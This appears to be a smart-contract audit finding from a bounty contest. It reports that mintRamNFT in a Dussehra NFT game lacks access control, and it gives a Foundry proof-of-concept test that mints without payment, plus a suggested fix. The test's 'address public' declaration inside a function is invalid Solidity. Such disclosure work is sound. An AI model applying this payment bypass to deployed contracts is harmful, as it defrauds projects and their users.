The mintRamNFT
function lacks proper access control, allowing any user to call this function and mint Ram NFTs without going through the intended payment process thus increasing their chance of being selected as Ram.
Proof of Concept
```
function setUp() public {
vm.startPrank(organiser);
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
}
```
```
function test_canMintNftWihtoutPayment() public {
address public player1 = makeAddr("player1");
ramNFT.mintRamNFT(player1);
assertEq(ramNFT.getCharacteristics(0).ram, player1);
}
```
High - This vulnerability allows users to bypass the payment requirement, leading to unfair distribution of Ram NFTs. This undermines the integrity of the Dussehra event.
Manual code review
Static analysis
Implement proper access control to ensure that only the Dussehra
contract can call the mintRamNFT
function.
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.